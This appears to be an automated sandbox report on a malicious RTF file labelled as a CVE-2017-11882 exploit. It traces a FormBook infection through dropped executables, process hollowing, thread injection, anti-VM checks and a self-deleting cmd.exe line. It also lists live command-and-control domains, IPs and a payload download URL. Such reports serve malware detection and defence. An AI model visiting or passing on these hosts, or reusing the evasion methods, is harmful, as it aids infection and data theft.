Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	RDTSC instruction interceptor: First address: 0000000000409904 second address: 000000000040990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	RDTSC instruction interceptor: First address: 0000000000409B6E second address: 0000000000409B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\cmstp.exe	RDTSC instruction interceptor: First address: 0000000000099904 second address: 000000000009990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\cmstp.exe	RDTSC instruction interceptor: First address: 0000000000099B6E second address: 0000000000099B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_6-17443

Source: C:\Windows\explorer.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_8-13974

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2300	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3332	Thread sleep time: -15390000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1340	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3332	Thread sleep time: -4416000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe TID: 3292	Thread sleep count: 136 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe TID: 3292	Thread sleep time: -272000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe TID: 3292	Thread sleep count: 9836 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe TID: 3292	Thread sleep time: -19672000s >= -30000s	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3360	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\cmstp.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\cmstp.exe	Last function: Thread delayed

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 7695	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 2208	Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe	Window / User API: threadDelayed 9836	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe

Code function: 7_2_00409AA0 rdtsc

7_2_00409AA0

Source: C:\Users\user\AppData\Roaming\word.exe

API call chain: ExitProcess graph end node

graph_5-3463

Source: explorer.exe, 00000008.00000002.879285316.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}7
Source: explorer.exe, 00000008.00000002.880167411.0000000003E59000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: explorer.exe, 00000008.00000002.880167411.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0
Source: explorer.exe, 00000008.00000002.880167411.0000000003E59000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}eeab7790
Source: explorer.exe, 00000008.00000000.354257988.00000000025E0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0a
Source: explorer.exe, 00000008.00000002.880167411.0000000003E59000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}100\4&20

Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe

Code function: 6_2_002307DA GetSystemInfo,

6_2_002307DA

Source: C:\Users\user\AppData\Roaming\word.exe	Code function: 5_2_00405E93 FindFirstFileA,FindClose,	5_2_00405E93
Source: C:\Users\user\AppData\Roaming\word.exe	Code function: 5_2_004054BD DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	5_2_004054BD
Source: C:\Users\user\AppData\Roaming\word.exe	Code function: 5_2_00402671 FindFirstFileA,	5_2_00402671
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 6_2_004203E8 _free,_free,FindFirstFileExW,	6_2_004203E8
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 6_2_0042049C FindFirstFileExW,FindNextFileW,FindClose,	6_2_0042049C

Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 6_2_004132A3 mov eax, dword ptr fs:[00000030h]	6_2_004132A3
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 6_2_0041DCB5 mov eax, dword ptr fs:[00000030h]	6_2_0041DCB5
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 6_2_0023005F mov eax, dword ptr fs:[00000030h]	6_2_0023005F
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 6_2_0023013E mov eax, dword ptr fs:[00000030h]	6_2_0023013E
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 6_2_00230109 mov eax, dword ptr fs:[00000030h]	6_2_00230109
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 6_2_0023017B mov eax, dword ptr fs:[00000030h]	6_2_0023017B
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_00830080 mov ecx, dword ptr fs:[00000030h]	7_2_00830080
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008300EA mov eax, dword ptr fs:[00000030h]	7_2_008300EA
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 7_2_008526F8 mov eax, dword ptr fs:[00000030h]	7_2_008526F8
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EB00EA mov eax, dword ptr fs:[00000030h]	9_2_01EB00EA
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01EB0080 mov ecx, dword ptr fs:[00000030h]	9_2_01EB0080
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 9_2_01ED26F8 mov eax, dword ptr fs:[00000030h]	9_2_01ED26F8

Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe

Code function: 6_2_004156E6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

6_2_004156E6

Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe

Code function: 6_2_0041C365 GetProcessHeap,

6_2_0041C365

Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe

Code function: 7_2_00409AA0 rdtsc

7_2_00409AA0

Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe

Code function: 7_2_0040ACE0 LdrLoadDll,

7_2_0040ACE0

Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 6_2_0040F6FD SetUnhandledExceptionFilter,	6_2_0040F6FD
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 6_2_004156E6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_004156E6
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 6_2_0040FEFD SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_0040FEFD
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 6_2_0040F709 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_0040F709

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 103.150.181.71 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.allamericanshuttlellc.com
Source: C:\Windows\explorer.exe	Domain query: www.6061k.vip
Source: C:\Windows\explorer.exe	Domain query: www.shucaimh.com
Source: C:\Windows\explorer.exe	Domain query: www.xazeyu.net
Source: C:\Windows\explorer.exe	Network Connect: 3.33.130.190 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 107.164.111.101 80	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Section loaded: unknown target: C:\Users\user\AppData\Local\Temp\twbcaze.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Section loaded: unknown target: C:\Windows\SysWOW64\cmstp.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Section loaded: unknown target: C:\Windows\SysWOW64\cmstp.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe

Section unmapped: C:\Windows\SysWOW64\cmstp.exe base address: D0000

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Thread register set: target process: 1244			Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe	Thread register set: target process: 1244			Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\word.exe C:\Users\user\AppData\Roaming\word.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe	Process created: C:\Users\user\AppData\Local\Temp\twbcaze.exe "C:\Users\user\AppData\Local\Temp\twbcaze.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Process created: C:\Users\user\AppData\Local\Temp\twbcaze.exe C:\Users\user\AppData\Local\Temp\twbcaze.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\twbcaze.exe"	Jump to behavior

Source: explorer.exe, 00000008.00000000.353969269.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.879285316.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Progman-
Source: explorer.exe, 00000008.00000002.879437350.0000000000720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000000.354104889.0000000000720000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000008.00000002.879437350.0000000000720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000000.354104889.0000000000720000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000008.00000002.879437350.0000000000720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000000.354104889.0000000000720000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: !Progman

Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: GetLocaleInfoW,	6_2_00420043
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: EnumSystemLocalesW,	6_2_0041FA29
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	6_2_0041FAC4
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: EnumSystemLocalesW,	6_2_0041BC92
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: GetLocaleInfoW,	6_2_0041FD76
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: EnumSystemLocalesW,	6_2_0041FD17
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: EnumSystemLocalesW,	6_2_0041FE4B
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: GetLocaleInfoW,	6_2_0041FE96
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	6_2_0041FF3D
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	6_2_0041F7D3
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: GetLocaleInfoW,	6_2_0041B7A1

Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe

Code function: 6_2_0040F496 cpuid

6_2_0040F496

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe

Code function: 6_2_00410221 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

6_2_00410221

Source: C:\Users\user\AppData\Roaming\word.exe

5_2_004030FB

Stealing of Sensitive Information

Yara detected NSISDropper

Source: Yara match	File source: 00000006.00000002.353557579.0000000000230000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmp, type: MEMORY

Yara detected FormBook

Source: Yara match	File source: 7.2.twbcaze.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.twbcaze.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.twbcaze.exe.250000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.twbcaze.exe.250000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.363149838.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.879277529.00000000001A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.353559991.0000000000250000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.879264468.0000000000170000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.363178353.00000000003D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected NSISDropper

Source: Yara match	File source: 00000006.00000002.353557579.0000000000230000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmp, type: MEMORY

Yara detected FormBook

Source: Yara match	File source: 7.2.twbcaze.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.twbcaze.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.twbcaze.exe.250000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.twbcaze.exe.250000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.363149838.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.879277529.00000000001A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.353559991.0000000000250000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.879264468.0000000000170000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.363178353.00000000003D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	1 Native API	Path Interception	512 Process Injection	1 Deobfuscate/Decode Files or Information	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	5 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	1 System Shutdown/Reboot	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	1 Shared Modules	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	3 Obfuscated Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	1 Credential API Hooking	Exfiltration Over Bluetooth	11 Encrypted Channel	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	23 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	1 Software Packing	Security Account Manager	127 System Information Discovery	SMB/Windows Admin Shares	1 Clipboard Data	Automated Exfiltration	3 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	3 Command and Scripting Interpreter	Login Hook	Login Hook	1 Rootkit	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	Traffic Duplication	114 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	141 Security Software Discovery	SSH	Keylogging	Scheduled Transfer	Fallback Channels			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Modify Registry	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Data Transfer Size Limits	Multiband Communication			Service Stop	Botnet	Domain Properties
External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over C2 Channel	Commonly Used Port			Inhibit System Recovery	Web Services	DNS
Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	512 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Exfiltration Over Alternative Protocol	Application Layer Protocol			Defacement	Serverless	Network Trust Dependencies
Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Web Protocols			Internal Defacement	Malvertising	Network Topology

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.RTF.Obfuscated-gen.19663.16514.rtf	49%	ReversingLabs	Document-RTF.Exploit.CVE-2017-11882
SecuriteInfo.com.RTF.Obfuscated-gen.19663.16514.rtf	55%	Virustotal		Browse
SecuriteInfo.com.RTF.Obfuscated-gen.19663.16514.rtf	100%	Avira	HEUR/Rtf.Malformed

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\twbcaze.exe	100%	Joe Sandbox ML

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
6061k.vip	0%	Virustotal	Browse
www.xazeyu.net	0%	Virustotal	Browse
swamini.in	19%	Virustotal	Browse
www.shucaimh.com	1%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://www.techsterverse.lifeReferer:	0%	Avira URL Cloud	safe
http://www.janenas.top/t2ti/	100%	Avira URL Cloud	phishing
http://www.allamericanshuttlellc.com	0%	Avira URL Cloud	safe
http://www.spacecargo.net	0%	Avira URL Cloud	safe
http://www.albertcolet.com/t2ti/	100%	Avira URL Cloud	malware
http://www.xazeyu.net/t2ti/	100%	Avira URL Cloud	malware
http://www.janenas.top/t2ti/	1%	Virustotal		Browse
http://www.hhmhhhbh.xyz	100%	Avira URL Cloud	malware
http://www.xazeyu.net/t2ti/	2%	Virustotal		Browse
http://www.maquibotanic.com/t2ti/	100%	Avira URL Cloud	malware
http://www.spacecargo.net	1%	Virustotal		Browse
http://www.hhmhhhbh.xyz/t2ti/www.techsterverse.life	100%	Avira URL Cloud	phishing
http://www.xazeyu.net/t2ti/www.fxzx01.icu	100%	Avira URL Cloud	malware
http://www.hhmhhhbh.xyz	1%	Virustotal		Browse
http://www.6061k.vip/t2ti/?ll=NdqLMf&4hO02rc=qDIrkJK7+k7t2cKm0yqLDiQOFM/oPqsB85v8vrvlTOlWprVZbJOF5qoRsr2uTLTXyB6S3g==	100%	Avira URL Cloud	malware
http://www.mozilla.com0	0%	Avira URL Cloud	safe
http://crl.use	0%	Avira URL Cloud	safe
http://www.shucaimh.com/t2ti/www.6061k.vip	100%	Avira URL Cloud	malware
http://www.michealwilshire.onlineReferer:	0%	Avira URL Cloud	safe
http://www.shucaimh.comReferer:	0%	Avira URL Cloud	safe
http://www.michealwilshire.online	0%	Avira URL Cloud	safe
http://swamini.in/wp-content/uploads/wpr-addons/forms/balokarat2.1.exe	100%	Avira URL Cloud	malware
http://www.janenas.top/t2ti/www.alishopogolic.com	100%	Avira URL Cloud	phishing
http://www.www32561b.com	0%	Avira URL Cloud	safe
http://www.guimisha.com	0%	Avira URL Cloud	safe
http://www.allamericanshuttlellc.com/t2ti/	100%	Avira URL Cloud	malware
http://www.michealwilshire.online	0%	Virustotal		Browse
http://www.shucaimh.com/t2ti/?4hO02rc=giwc8XVj/AkHwdj5caWP9R2rVnZav6a8h1CJcH9em0U/x824OxogtA/AOr9gMChFXFyvXA==&ll=NdqLMf	100%	Avira URL Cloud	malware
http://www.6061k.vip/t2ti/	100%	Avira URL Cloud	malware
http://www.www32561b.com	0%	Virustotal		Browse
http://www.albertcolet.com/t2ti/www.guimisha.com	100%	Avira URL Cloud	malware
http://www.6061k.vip/t2ti/www.xazeyu.net	100%	Avira URL Cloud	malware
https://swamini.in/	100%	Avira URL Cloud	malware
http://www.guimisha.com	0%	Virustotal		Browse
http://www.ssongg10292.cfdReferer:	0%	Avira URL Cloud	safe
http://www.6061k.vip/t2ti/	2%	Virustotal		Browse
http://www.techsterverse.life/t2ti/www.www32561b.com	100%	Avira URL Cloud	malware
http://www.guimisha.com/t2ti/www.ssongg10292.cfd	100%	Avira URL Cloud	malware
https://swamini.in/	14%	Virustotal		Browse
http://www.hhmhhhbh.xyz/t2ti/	100%	Avira URL Cloud	phishing
http://www.shucaimh.com	0%	Avira URL Cloud	safe
http://www.fxzx01.icuReferer:	0%	Avira URL Cloud	safe
http://www.ssongg10292.cfd	0%	Avira URL Cloud	safe
https://swamini.in/wp-content/uploads/wpr-addons/forms/balokarat2.1.exeqqC:	100%	Avira URL Cloud	malware
http://www.spacecargo.net/t2ti/www.michealwilshire.online	100%	Avira URL Cloud	malware
http://www.shucaimh.com	1%	Virustotal		Browse
http://www.alishopogolic.com/t2ti/	100%	Avira URL Cloud	malware
http://www.guimisha.com/t2ti/	100%	Avira URL Cloud	malware
http://www.hhmhhhbh.xyz/t2ti/	3%	Virustotal		Browse
http://www.hhmhhhbh.xyzReferer:	0%	Avira URL Cloud	safe
https://swamini.in/wp-content/uploads/wpr-addons/forms/balokarat2.1.exeemC:	100%	Avira URL Cloud	malware
http://swamini.in/wp-content/uploads/wpr-addons/forms/balokarat2.1.exej	100%	Avira URL Cloud	malware
https://swamini.in/wp-content/uploads/wpr-addons/forms/balokarat2.1.exe	100%	Avira URL Cloud	malware
http://www.michealwilshire.online/t2ti/www.janenas.top	100%	Avira URL Cloud	malware
http://www.allamericanshuttlellc.comReferer:	0%	Avira URL Cloud	safe
http://www.guimisha.com/t2ti/	2%	Virustotal		Browse
http://www.maquibotanic.com	0%	Avira URL Cloud	safe
http://www.janenas.topReferer:	0%	Avira URL Cloud	safe
http://www.6061k.vipReferer:	0%	Avira URL Cloud	safe
